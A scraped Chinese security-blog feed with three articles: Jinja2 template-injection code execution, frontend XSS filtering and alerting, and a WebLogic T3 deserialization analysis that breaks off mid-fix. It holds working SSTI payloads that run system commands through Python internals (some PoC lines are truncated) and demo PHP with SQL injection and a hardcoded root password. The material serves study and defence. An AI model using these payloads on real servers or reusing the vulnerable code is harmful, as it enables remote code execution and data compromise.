Quantcast
Channel: WooYun知识库 » web安全
Viewing all 21 articles
Browse latest View live

利用 Python 特性在 Jinja2 模板中执行任意代码

$
0
0

0x00 简介


本文源于老外 @nvisium 在其博客发表的博文 《Injecting Flask》,在原文中作者讲解了 Python 模板引擎 Jinja2 在服务端模板注入 (SSTI) 中的具体利用方法,在能够控制模板内容时利用环境变量中已注册的用户自定义函数进行恶意调用或利用渲染进行 XSS 等。

对于 Jinja2 模板引擎是否能够在 SSTI 的情况下直接执行命令原文并没有做出说明,并且在 Jinja2 官方文档中也有说明,模板中并不能够直接执行任意 Python 代码,这样看来在 Jinja2 中直接控制模板内容来执行 Python 代码或者命令似乎不太可能。

0x01 模板中复杂的代码执行方式


最近在进行项目开发时无意中注意到 Jinja2 模板中可以访问一些 Python 内置变量,如 [] {} 等,并且能够使用 Python 变量类型中的一些函数,示例代码一如下:

# coding: utf-8
import sys
from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

为了方便演示,这里直接将命令参数输入拼接为模板内容的一部分并进行渲染输出,这里我们直接输入 {{ 'abcd' }} 使模板直接渲染字符串变量:

当然上面说了可以在模板中直接调用变量实例的函数,如字符串变量中的 upper() 函数将其字符串转换为全大写形式:

那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册,示例代码二如下:

# coding: utf-8
import os
import sys
from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
template.globals['os'] = os

print template.render()

执行代码,并传入参数 {{ os.popen('echo Hello RCE').read() }},因为在模板环境中已经注册了 os 变量为 Python os 模块,所以可以直接调用模块函数来执行系统命令,这里执行额系统命令为 echo Hello Command Exection

如果使用示例代码一来执行,会得到 os 未定义的异常错误:

0x02 利用 Python 特性直接执行任意代码


那么,如何在未注册 os 模块的情况下在模板中调用 popen() 函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,这一特点让我联想到了常见的 Python 沙盒环境逃逸方法,如 2014CSAW-CTF 中的一道 Python 沙盒绕过题目,环境代码如下:

#!/usr/bin/env python 
from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]

while 1:  
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

(利用 Python 特性绕过沙盒限制的详细讲解请参考 Writeup),这里给出笔者改进后的 PoC:

.__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')

当然通过这种方式不仅仅能够通过 os 模块来执行系统命令,还能进行文件读写等操作,具体的代码请自行构造。

回到如何在 Jinja2 模板中直接执行代码的问题上,因为模板中能够访问 Python 内置的变量和变量方法,并且还能通过 Jinja2 的模板语法去遍历变量,因此可以构造出如下模板 Payload 来达到和上面 PoC 一样的效果:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

使用该 Payload 作为示例代码二的执行参数,最终会执行系统命令 id

当然除了遍历找到 os 模块外,还能直接找回 eval 函数并进行调用,这样就能够调用复杂的 Python 代码。

原始的 Python PoC 代码如下:

[a for a in [b for b in .__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals.values() if type(b) == dict] if 'eval' in a.keys()][0]['eval']('__import__("os").popen("whoami").read()')

在 Jinja2 中模板 Payload 如下:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.func_globals.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

使用该 Payload 作为示例代码二的执行参数(注意引号转义),成功执行会使用 eval() 函数动态载入 os 模块并执行命令:

0x03 利用途径和防御方法


SSTI(服务端模板注入)。通过 SSTI 控制 Web 应用渲染模板(基于 Jinja2)内容,可以轻易的进行远程代码(命令)执行。当然了,一切的前提都是模板内容可控,虽然这种场景并不常见,但难免会有程序员疏忽会有特殊的需求会让用户控制模板的一些内容。

在 Jinja2 模板中防止利用 Python 特性执行任意代码,可以使用 Jinja2 自带的沙盒环境 jinja2.sandbox.SandboxedEnvironment,Jinja2 默认沙盒环境在解析模板内容时会检查所操作的变量属性,对于未注册的变量属性访问都会抛出错误。

0x04 参考



前端防御XSS

$
0
0

0x00 前言


我不否认前端在处理XSS的时候没有后端那样方便快捷,但是很多人都在说过滤XSS的事就交给后端来做吧。前端做没什么用。我个人是非常反感这句话的。虽然说前端防御XSS比较麻烦,但是,不是一定不行。他只是写的代码比后端多了而已。而且前端防御XSS比后端防御XSS功能多,虽说后端也可以完成这些功能,但是代码量会比前端代码多很多很多。其实说了那么多,交给nginx||apache||nodeJs||Python会更好处理。但是我不会C,也就没办法写nginx模块了。而且也不在本文章的范围内,等我什么时候学会C再说把。

0x01 后端数据反馈过滤


现在大部分的网站都是在后端过滤一下后,就交给数据库,然后前端输出,整个流程只有后端做了防护,一般这个防护被绕过或者某个参数的防护没有做,那么网站就会被沦陷了(请别以为XSS只能获取cookie,熟练的程度取决于你的思想和编程) 现在我们来假设一下网站的一个URL参数没有做好过滤,直接导入数据库了,然后在前端反馈结果。代码如下:

把用户输入的内容导入到数据库里defenderXssTest_GetData.php:

<?php
if(empty($_GET['xss'])){        //判断当前URL是否存在XSS参数
    exit(); 
}
$xssString = $_GET['xss'];
/*数据库基础配置*/
$mysql_name ='localhost';
$mysql_username ='root';
$mysql_password ='123456';
$mysql_database ='xsstest'; 
$conn = mysql_connect($mysql_name,$mysql_username,$mysql_password);
mysql_query("set names 'utf8'");
mysql_select_db($mysql_database);

$sql = "insert into XSSTest (xss) values ('$xssString')";
mysql_query($sql);
mysql_close();

返回数据库中最后一条数据内容(即最新的内容)defenderXssTest_QueryData.php:

<?php
/*数据库基础配置*/
$mysql_name ='localhost';
$mysql_username ='root';
$mysql_password ='123456';
$mysql_database ='xsstest'; 
$conn = mysql_connect($mysql_name,$mysql_username,$mysql_password);
mysql_query("set names 'utf8'");
mysql_select_db($mysql_database);

$sql ="select * from XSSTest where id = (select max(id) from XSSTest)"; //返回数据库中最后一条数据
$xssText = mysql_query($sql);
while($row = mysql_fetch_array($xssText)){  //显示从数据库中返回的数据
    echo $row['xss'];
}
mysql_close();

前端输入及反馈defenderXssTest.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>前端防御XSS#Demo1</title>
</head>
<body>
    <input type="text" name="xss">
    <input type="submit" value="提交" id="xssGet">
</body>
<!--测试请记得更换jQuery路径!-->
<script type="text/javascript" src="/Public/js/library/jquery.js"></script>
<script>
    $("#xssGet").click(function(){
        $.ajax({
            url: '/defenderXssTest_GetData.php',
            type: 'get',
            dataType: 'text',
            data: "xss="+$('input:first').val(),
            cache:false, 
            async:false,
        })
        .done(function() {
            $.ajax({
                url: '/defenderXssTest_QueryData.php',
                type: 'post',
                dataType: 'text',
                cache:false, 
                async:false,
            })
            .done(function(data) {
                $("body").append(data);
            })
        })
    });
</script>
</html>

一共三个文件,因为测试用,我就没把数据库基础配置分离出来放在其他文件里了。

现在我们在浏览器里打开defenderXssTest.html文件:

p1

p2

现在我们再看下数据库:

p3

已经导入到数据库里了。

OK,以上就是最普通的储蓄型XSS案例。为什么会出现这个问题呢,是因为PHP没有做好过滤。同时前端也没有做好过滤,这里会有人说前端做没用的,攻击者可以使用burp抓到此数据包,然后改包就可以绕过了。对,确实是这样。但是大伙从一开始就已经被误导了。想知道哪里被误导么,往下看。

这里我画个前端、Nginx、后端都做了过滤的图:

p4

思维导图URL:https://www.processon.com/view/link/56c486cde4b0e2317a8b6681

这里我们可以看到防火墙的第一道门是前端过滤XSS机制。也是目前被大家所熟知的过滤结构。而本章要说的是:为什么不把前端过滤copy或者move到后端过滤机制下呢?

这里是新型的过滤机制的图:

p5

思维导图URL:https://www.processon.com/view/link/56c4882ce4b0e5041c35ab53

这里我们在后端过滤机制的后面加上了前端过滤。为什么要这样做呢?

大家都知道前端过滤XSS是可以被抓包软件给修改的,所以是可以绕过,没有什么用。而Nginx过滤我相信大家都知道,很少有人愿意去用它,因为如果是做安全文章一类的话,是会被Nginx给抛弃当前的数据包的,也就是你发布的文章不会被存到数据库里,而且Nginx防御XSS模块并没有前端、后端那样简单方便,需要配置的东西很多。也导致了很多管理员不在Nginx安全上下功夫,即使管理员配置了Nginx过滤XSS模块,也可以绕过。

利用Nginx的一处逻辑缺陷(详情请移步到:http://www.freebuf.com/articles/web/61268.html 文章里的0x03小节:利用Nginx&Apache环境bug来实现攻击),至于后端过滤机制肯定会有不严谨的时候,不然也而不会导致那么多XSS漏洞了。所以当攻击者输入的XSS字符串绕过了前端、Nginx、后端的话,那么就会直接导入到数据库中。那么这个时候后端传来的数据就不可信了。而如果我们在前端显示后端传来的数据时加了过滤会怎么样呢,答案是very good。当然了,这里有个前提,是前端显示后端传来数据的时候使用的是AJAX方法,而不是类似ThinkPHP这样在模板里调用。确切的说:此方法只针对于API接口

现在我们来做一个测试,之前的代码就是使用了AJAX方法,而

defenderXssTest_GetData.php和defenderXssTest_QueryData.php就类似于后端的API接口。我们现在在原有的基础上添加一些代码:

下面是前端过滤XSS的代码,取自于百度FEX前端团队的Ueditor在线编辑器:

function xssCheck(str,reg){
    return str ? str.replace(reg || /[&<">'](?:(amp|lt|quot|gt|#39|nbsp|#\d+);)?/g, function (a, b) {
        if(b){
            return a;
        }else{
            return {
                '<':'&lt;',
                '&':'&amp;',
                '"':'&quot;',
                '>':'&gt;',
                "'":'&#39;',
            }[a]
        }
    }) : '';
}

然后我们在原有代码的基础上添加xssCheck()函数就行了。如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>前端防御XSS#Demo1</title>
</head>
<body>
    <input type="text" name="xss">
    <input type="submit" value="提交" id="xssGet">
</body>
<script type="text/javascript" src="/Public/js/library/jquery.js"></script>
<script>
    $("#xssGet").click(function(){
        $.ajax({
            url: '/defenderXssTest_GetData.php',
            type: 'get',
            dataType: 'text',
            data: "xss="+$('input:first').val(),
            cache:false, 
            async:false,
        })
        .done(function() {
            $.ajax({
                url: '/defenderXssTest_QueryData.php',
                type: 'post',
                dataType: 'text',
                cache:false, 
                async:false,
            })
            .done(function(data) {
                $("body").append(xssCheck(data));
            })
        })
    });
    function xssCheck(str,reg){
        return str ? str.replace(reg || /[&<">'](?:(amp|lt|quot|gt|#39|nbsp|#\d+);)?/g, function (a, b) {
            if(b){
                return a;
            }else{
                return {
                    '<':'&lt;',
                    '&':'&amp;',
                    '"':'&quot;',
                    '>':'&gt;',
                    "'":'&#39;',
                }[a]
            }
        }) : '';
    }
</script>
</html>

现在我们来输入XSS字符串看看:

p6

变成了这个样子。我们再去数据库里看下:

p7

的确是完整的XSS字符串,但是前端过滤了,导致此XSS没有用武之地。

所以前端开发人员只需要在网站的base.js代码里把过滤XSS的函数写进去,再把每一个ajax传过来的数据加上函数就可以了。

0x02 前端报警机制


这里的报警机制不能说特别的完整,是可以绕过的。那这个报警机制到底有何用处呢?就是在攻击者测试的时候发现及报警。

我们都知道测试XSS的时候和装逼的时候,攻击者会输入alert()函数,而之前的过滤方式,都是使用正则匹配,从而导致正则过长,匹配不易,运行过慢等问题。而现在我们完全可以重写alert函数来让攻击者在测试的时候,使用的是我们已经重写后的函数,这样做的好处是:当当前的参数不存在XSS的时候,这些函数是不会被触发的。而当当前参数存在XSS的时候,攻击者会依次输入:woaini->查看是否在源码里输出->woaini<>->查看<>有没有被过滤->输入<script>alret(1)</script>或者<img src="test" onerror="alert(1)" />->使用了我们重写的函数->触发报警机制。这样说可能有些人看不懂,下面是我画的图:

p8

思维导图:https://www.processon.com/view/link/56c55805e4b0e5041c39261f

让我们来看下具体的代码吧:

var backAlert = alert;  //把alert赋值给backAlert ,当后面重写alert时,避免照成死循环,照成溢出错误。
window.alert = function(str){       //重写alert函数
    backAlert(str);
    console.log("已触发报警,将数据发送到后台");
}

再把console.log换成ajax把数据发送给后台应用。后台接受的时候记得做过滤。前端代码记得加密,防止攻击者看出意图从而导致绕过,不触发报警。因为可能有些公司、个人网站已经有了自己的攻击报警系统、智能日志检索系统,我也就不再写了。把ajax发送的数据过滤后存到数据库里,再显示就行了。可以根据自己现有的框架进行开发,思路上面已经了,不难理解,代码也不难写。如果你不会或者说是不想写,可以等到我下一篇的文章。到时候里面会有全部的源代码。

下一章也是有关XSS防御的,在“前端报警机制”的基础上做的完善,有可能会用到后端,目前思路已经有了,但是没时间写。看三月底之前能不能写出来吧。

0x03 结语


之前EtherDream已经说了前端防火墙了,只是他做的是防御,而我是不防御直接报警。然后人工修复代码。因为虽然你防御住了,但是后端漏洞还在那,而触发报警机制后就可以进行人工修复。不是说EtherDream写的不好,反之非常好,在他的基础上也可以修改成前端报警机制,不过我还是喜欢让攻击者高兴几十分钟后,就懵逼的样子。在EtherDream的代码中有一个很棒的代码片段,他使用了内联事件监听了onclick等on事件,可以近一步的监听到黑客的操作。因为版权问题,我不方便把代码贴到本文中,毕竟是别人的思想结晶。想了解的话可以去查看:

http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-1/

修复weblogic的JAVA反序列化漏洞的多种方法

$
0
0

0x00 前言


目前oracle还没有在公开途径发布weblogic的JAVA反序列化漏洞的官方补丁,目前看到的修复方法无非两条:

  1. 使用SerialKiller替换进行序列化操作的ObjectInputStream类;
  2. 在不影响业务的情况下,临时删除掉项目里的 "org/apache/commons/collections/functors/InvokerTransformer.class"文件。

ObjectInputStream类为JRE的原生类,InvokerTransformer.class为weblogic基础包中的类,对上述两个类进行修改或删除,实在无法保证对业务没有影响。如果使用上述的修复方式,需要大量的测试工作。且仅仅删除InvokerTransformer.class文件,无法保证以后不会发现其他的类存在反序列化漏洞。

因此本文针对weblogic的JAVA序列化漏洞进行了分析,对多个版本的weblogic进行了测试,并提出了更加切实可行的修复方法。

0x01 为什么选择weblogic的JAVA反序列化漏洞进行分析


  1. weblogic与websphere为金融行业使用较多的企业级JAVA中间件;
  2. weblogic比websphere市场占有率高;
  3. 利用websphere的JAVA反序列化漏洞时需要访问8880端口,该端口为websphere的wsadmin服务端口,该端口不应该暴露在公网。如果有websphere服务器的8880端口在公网可访问,说明该服务器的安全价值相对较低;
  4. 利用weblogic的JAVA反序列化漏洞能够直接控制服务器,危害较大,且weblogic通常只有一个服务端口,无法通过禁用公网访问特定端口的方式修复漏洞。

0x02 已知条件


breenmachine的“What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.”文章中对weblogic的JAVA序列化漏洞进行了分析,读完这篇文章关于weblogic相关的描述部分后,我们知道了以下情况。

  1. 可通过搜索代码查找weblogic的jar包中是否包含特定的JAVA类;
  2. 在调用weblogic的停止脚本时,会向weblogic发送JAVA序列化数据;
  3. 可通过ObjectInputStream.readObject方法解析JAVA序列化数据;
  4. weblogic发送的T3数据的前几个字节为数据长度;
  5. 替换weblogic发送的T3数据中的某个序列化数据为恶意序列化数据,可以使weblogic执行指定的代码。

0x03 漏洞分析


weblogic发送的JAVA序列化数据抓包分析

根据breenmachine的文章我们知道了,在调用weblogic的停止脚本时,会向weblogic发送JAVA序列化数据,我们来重复这个过程。

数据包分析工具还是Windows环境的Wireshark比较好用,但Windows环境默认无法在访问本机监听的端口时进行抓包。上述问题是可以解决的,也可在Windows机器调用其他机器的weblogic停止脚本并使用Wireshark进行抓包;或者在Linux环境使用tcpdump进行抓包,使用Wireshark分析生成的数据包。

Windows环境如何在访问本机监听的端口时进行抓包

该问题可通过以下方法解决:

  1. 增加路由策略,route add 【本机IP,不能使用127.0.0.1】 mask 255.255.255.255 【默认网关IP】 metric 1,之后可以使用Wireshark抓包分析。XP测试成功,win7失败。
  2. 使用RawCap工具,可对127.0.0.1进行抓包,产生的抓包文件可以使用Wireshark分析。win7测试成功,XP失败。下载地址为http://www.netresec.com/?page=RawCap

如何在Windows机器调用其他机器的weblogic停止脚本

编辑domain的bin目录中的stopWebLogic.cmd文件,找到“ADMIN_URL=t3://[IP]:[端口]”部分,[IP]一般为本机的主机名,[端口]一般为7001。将[IP]与[端口]分别修改为其他weblogic所在机器的IP与weblogic监听端口。执行修改后的stopWebLogic.cmd脚本并抓包。

使用Wireshark对数据包进行分析

在完成了针对weblogic停止脚本调用过程的抓包后,使用Wireshark对数据包进行分析。可使用IP或端口等条件进行过滤,只显示与调用weblogic停止脚本相关的数据包。

已知JAVA序列化数据的前4个字节为“AC ED 00 05”,使用“tcp contains ac:ed:00:05”条件过滤出包含JAVA序列化数据的数据包,并在第一条数据包点击右键选择“Follow TCP Stream”,如下图。

pic

使用十六进制形式查看数据包,查找“ac ed 00 05”,可以找到对应的数据,可以确认抓包数据中包含JAVA序列化数据。

pic

取消对"ac ed 00 05"的过滤条件,使用ASCII形式查看第一个数据包,内容如下。

pic

可以看到当weblogic客户端向weblogic服务器发送序列化数据时,发送的第一个包为T3协议头,本文测试时发送的T3协议头为“t3 9.2.0\nAS:255\nHL:19\n\n”,第一行为“t3”加weblogic客户端的版本号。weblogic服务器的返回数据为“HELO:10.0.2.0.false\nAS:2048\nHL:19\n\n”,第一行为“HELO:”加weblogic服务器的版本号。weblogic客户端与服务器发送的数据均以“\n\n”结尾。

将Wireshark显示的数据包转换为JAVA代码

从上文的截图可以看到数据包中JAVA序列化数据非常长,且包含不可打印字符,无法直接导出到JAVA代码中。

在Wireshark中,客户端向服务器发送的数据显示为红色,服务器向客户端返回的数据显示为蓝色。

使用C数组形式查看第一个数据包,peer0_x数组为Packet 1,将peer0_x数组复制为一个C语言形式的数组,格式如“char peer0_0[] = { 0x01, 0x02 ...};”,将上述数据的“char”修改为“byte”,“0x”替换为“(byte)0x”,可以转换为能直接在JAVA代码中使用的形式,格式如“byte peer0_0[] = {(byte)0x00, (byte)0x02 ...}”。

pic

对JAVA序列化数据进行解析

根据breenmachine的文章我们知道了,可以使用ObjectInputStream.readObject方法解析JAVA序列化数据。

使用ObjectInputStream.readObject方法解析weblogic调用停止脚本时发送的JAVA序列化数据的结构,代码如下。执行下面的代码时需要将weblogic.jar添加至JAVA执行的classpath中,否则会抛出ClassNotFoundException异常。

pic

上述代码的执行结果如下。

Data Length-Compute: 1711  
Data Length: 1711  
Object found: weblogic.rjvm.ClassTableEntry  
Object found: weblogic.rjvm.ClassTableEntry  
Object found: weblogic.rjvm.ClassTableEntry  
Object found: weblogic.rjvm.ClassTableEntry  
Object found: weblogic.rjvm.JVMID  
Object found: weblogic.rjvm.JVMID  
size: 0 start: 0 end: 234  
size: 1 start: 234 end: 348  
size: 2 start: 348 end: 591  
size: 3 start: 591 end: 986  
size: 4 start: 986 end: 1510  
size: 5 start: 1510 end: 1634  
size: 6 start: 1634 end: 1711  

可以看到weblogic发送的JAVA序列化数据分为7个部分,第一部分的前四个字节为整个数据包的长度(1711=0x6AF),第二至七部分均为JAVA序列化数据。

pic

weblogic发送的JAVA序列化数据格式如下图。

pic

利用weblogic的JAVA反序列化漏洞

在利用weblogic的JAVA反序列化漏洞时,需要向weblogic发送两个数据包。

第一个数据包为T3的协议头。经测试,使用“t3 9.2.0\nAS:255\nHL:19\n\n”字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。向weblogic发送了T3协议头后,weblogic也会返回相应的数据,以“\n\n”结束,具体格式见前文。

第二个数据包为JAVA序列化数据,可采用两种方式产生。

第一种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。

采用第一种方式生成JAVA序列化数据时,数据格式如下图。

pic

第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

采用第二种方式生成JAVA序列化数据时,数据格式如下图。

pic

恶意序列化数据的生成过程可参考http://drops.wooyun.org/papers/13244

当向weblogic发送上述第一种方式生成的JAVA序列化数据时,weblogic会抛出如下异常。

java.io.EOFException  
at weblogic.utils.io.DataIO.readUnsignedByte(DataIO.java:435)  
at weblogic.utils.io.DataIO.readLength(DataIO.java:828)  
at weblogic.utils.io.ChunkedDataInputStream.readLength(ChunkedDataInputStream.java:150)  
at weblogic.utils.io.ChunkedObjectInputStream.readLength(ChunkedObjectInputStream.java:196)  
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:37)  
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:287)  
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:212)  
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:507)  
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:489)  
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359)  
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970)  
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907)  
at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:495)  
at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:461)  
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30)  
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43)  
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)  
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)

当向weblogic发送上述第二种方式生成的JAVA序列化数据时,weblogic会抛出如下异常。

weblogic.rjvm.BubblingAbbrever$BadAbbreviationException: Bad abbreviation value: 'xxx'  
at weblogic.rjvm.BubblingAbbrever.getValue(BubblingAbbrever.java:153)  
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:48)  
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:287)  
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:212)  
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:507)  
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:489)  
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359)  
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970)  
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907)  
at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:495)  
at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:461)  
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30)  
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43)  
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)  
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)

虽然在利用weblogic的JAVA反序列化漏洞时,weblogic会抛出上述的异常,但是weblogic已经对恶意的序列化数据执行了readObject方法,漏洞仍然会触发。

经测试,必须先发送T3协议头数据包,再发送JAVA序列化数据包,才能使weblogic进行JAVA反序列化,进而触发漏洞。如果只发送JAVA序列化数据包,不先发送T3协议头数据包,无法触发漏洞。

weblogic的JAVA反序列化漏洞触发时的调用过程

将使用FileOutputStream对一个非法的文件进行写操作的代码构造为恶意序列化数据,并发送给weblogic,当weblogic对该序列化数据执行反充列化时,会在漏洞触发时抛出异常,通过堆栈信息可以查看漏洞触发时的调用过程,如下所示。

org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'newInstance' on 'class java.lang.reflect.Constructor' threw an exception  
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)  
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)  
at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:203)  
at org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:191)  
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:356)  
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)  
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)  
at java.lang.reflect.Method.invoke(Method.java:606)  
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)  
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)  
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)  
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)  
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)  
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:67)  
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:39)  
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:287)  
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:212)  
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:507)  
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:489)  
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359)  
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970)  
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907)  
at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:495)  
at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:461)  
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30)  
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43)  
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)  
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)

确定weblogic是否使用了Apache Commons Collections组件

breenmachine在文章中写到可以通过搜索代码的方式查找weblogic的jar包中是否包含特定的JAVA类。由于特定的JAVA类可能在很多个不同的jar包中均存在,因此该方法无法准确判断weblogic是否使用了Apache Commons Collections组件特定的JAVA类。

可通过以下方法准确判断weblogic是否使用了Apache Commons Collections组件特定的JAVA类。

在weblogic中任意安装一个j2ee应用,在某个jsp中写入以下代码。

<%
String path = [需要查找的类的完整类名].class.getResource("").getPath();  
out.println(path);
%>

或以下代码。

<%
String path = [需要查找的类的完整类名].class.getProtectionDomain().getCodeSource().getLocation().getFile();  
out.println(path);
%>

使用浏览器访问上述jsp文件,可以看到对应的类所在的jar包的完整路径。

通过上述方法查找“org.apache.commons.collections.map.TransformedMap”所在的jar包,示例如下。

pic

不同版本的weblogic对Apache Commons Collections组件的使用

“org.apache.commons.collections.map.TransformedMap”所在的weblogic的jar包信息如下。

weblogic版本 TransformedMap类所在jar包路径
9.2
10.2.1(weblogic 10g)、10.3.4(weblogic 11g) weblogic安装目录的modules/com.bea.core.apache.commons.collections_3.2.0.jar
12.1.3(weblogic 12c) weblogic安装目录的wlserver/modules/features/weblogic.server.merged.jar

由于weblogic 9.2未包含TransformedMap类,因此无法触发反序列化漏洞,weblogic 10g、weblogic 11g、weblogic 12c均包含TransformedMap类,因此会触发反序列化漏洞。

0x04 漏洞修复


漏洞修复思路

weblogic的默认服务端口为7001,该端口提供了对HTTP(S)、SNMP、T3等协议的服务。由于weblogic的不同协议均使用一个端口,因此无法通过防火墙限制端口访问的方式防护JAVA反序列化漏洞。

在绝大多数应用的使用场景中,用户只需要在公网能够使用HTTP(S)协议访问web应用服务器即可。对于weblogic服务器,在绝大多数情况下,只需要能够在公网访问weblogic提供的HTTP(S)协议的服务即可,并不需要访问T3协议。

少数情况下,运维人员需要使用weblogic的T3协议:

  • 在weblogic服务器本机执行weblogic的停止脚本;
  • 通过WLST对weblogic进行脚本化配置;
  • 编写使用T3协议通信的程序对weblogic进行状态监控及其他管理功能。

T3协议与HTTP协议均基于TCP协议,T3协议以"t3"开头,HTTP协议以“GET”、“POST”等开头,两者有明显的区别。

因此可以限定只允许特定服务器访问weblogic服务器的T3协议,能够修复weblogic的JAVA反序列化漏洞。即使今后发现了weblogic的其他类存在JAVA反序列化漏洞,也能够防护。

若将weblogic修复为发送T3协议时要求发送weblogic的用户名与密码,也能够修复weblogic的反序列化问题,但会带来密码如何在weblogic客户端存储的问题。

无效的漏洞修复方法

首先尝试将应用部署到非管理Server中,判断其服务端口是否也提供T3协议的服务。

AdminServer是weblogic默认的管理Server,添加一个名为“Server-test”的非管理Server后,weblogic的服务器信息如下。管理Server与非管理Server使用不同的监听端口,可将j2ee应用部署在非管理Server中,这样可以使weblogic控制台与应用使用不同的端口提供服务。

pic

